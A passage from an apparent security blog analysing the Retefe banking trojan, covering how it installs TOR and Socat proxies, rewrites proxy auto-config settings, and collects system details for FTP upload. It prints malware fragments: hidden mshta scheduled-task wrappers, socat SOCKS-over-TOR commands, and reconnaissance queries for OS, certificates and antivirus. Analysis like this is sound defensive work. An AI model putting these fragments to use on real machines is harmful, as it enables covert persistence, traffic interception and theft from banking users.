cert: It's a base64 encoded Certificate which will be installed on the machine.
psf: Base64 encoded Powershell Script which will install the Certificate.
pstp: Base64 encoded Powershell srcipt which will install TOR and Socat installer.
pslog: Base64 encoded Powershell script which will collect information about the machine and upload through FTP to attacker's server.

Note: Proofpoint recently mentioned in their blog that in some of the samples an additional section, pseb was observed in the config. This section had the Eternal Blue exploit
present inside. However, in the most recent samples this section in config is not present.

Below is the list of TOR domains used by the sample in this case as a Proxy:


Another important step performed by the JavaScript is to modify the Proxy Auto Config Settings as shown below:

        for(var i=0;
            var sIp=this.GetIp();

So, it sets the HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL key to the value:{0}.js?ip={1} where {0} corresponds to
random string of length 8 and {1} corresponds to the IP address of the machine.

Now, let's look at the tasks performed by each of the Powershell Scripts which are present inside the config.

pstp Powershell Script is as shown in Figure 6.

Figure 6
It performs the following main tasks:

1. It downloads TOR Browser from one of the TOR mirror sites into the directory: %appdata%\Ad0be.

2. It adds a scheduled task to start tor.exe process as shown below:

$tor_cmd="`"javascript:close(new ActiveXObject('WScript.Shell').Run('$tor',0,false))`"";
AddTask (RandomString) 'mshta.exe' $tor_cmd;

It is interesting to note that all the scheduled tasks are executed in the context of mshta.exe process. The actual command which needs to be executed is wrapped inside JavaScript which is executed by mshta.exe

3. It downloads Socat into the directory: %appdata%\Ad0be and creates the following scheduled tasks:

$s1cmd='socat tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind= SOCKS4A:,socksport=9050';
$s2cmd='socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind= SOCKS4A:,socksport=9050';
$s1_cmd="`"javascript:close(new ActiveXObject('WScript.Shell').Run('$s1cmd',0,false))`"";
$s2_cmd="`"javascript:close(new ActiveXObject('WScript.Shell').Run('$s2cmd',0,false))`"";
AddTask (RandomString) 'mshta.exe' $s1_cmd 0 0 $s_fold;
AddTask (RandomString) 'mshta.exe' $s2_cmd 0 0 $s_fold;

The purpose of the above scheduled tasks is to setup a TOR socks proxy on the machine. The value, %DOMAIN% above is substituted with one of the TOR domains mentioned above.

pslog Powershell script is as shown in Figure 7 and it is used to report the details of the infected machine to the Controller. The details are uploaded through FTP to a server
which requires Authentication.

Figure 7
Following details are gathered from the machine before uploading the logs:

1. OS Info - This includes Caption, ServicePackMajorVersion, OSArchitecture, Version, MUILanguages. Information is retrieved using WMI:

  $wininfo = (Get-WmiObject Win32_OperatingSystem | Select Caption, ServicePackMajorVersion, OSArchitecture, Version, MUILanguages);

2. Powershell version.

3. The value of Proxy Auto Config settings. This information is retrieved from Windows Registry.

    $pac=Get-ItemProperty 'hkcu:\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\'|Select -expand AutoConfigURL -ErrorAction Stop;

4. Certificates installed on the machine with the Subject field of Certificate matching: "*COMODO RSA Extended Validation Secure Server CA 2*"

  $Certs = @(Get-ChildItem cert:\CurrentUser\ROOT|Where-Object {$_.Subject -like "*COMODO RSA Extended Validation Secure Server CA 2*"}|ForEach-Object {"{0} ({1})" -f

5. Details of the TOR and Socat processes running on the system:

    $proc = Get-Process | Where-Object {$_.ProcessName -like "tor*" -or $_.ProcessName -like "socat*"}|Select -Property @{ Name="Out";
Expression={"ID:{0}`nName:{1}`nPath:{2}`n-------------" -f $_.Id,$_.ProcessName,$_.Path}}|Select -expand Out;

6. Directory listing for the Directory: APPDATA+'\Ad0be

7. Details of the AV softwares installed:

  $avlist=(Get-WmiObject -Namespace "root\SecurityCenter2" -Query "SELECT * FROM AntiVirusProduct"  @psboundparameters|Select -expand DisplayName);

The log file is uploaded through FTP and the name of the log file is set to the Computer Name.

As we can see in this blog, Banking Trojan Retefe is still active and continues to evolve.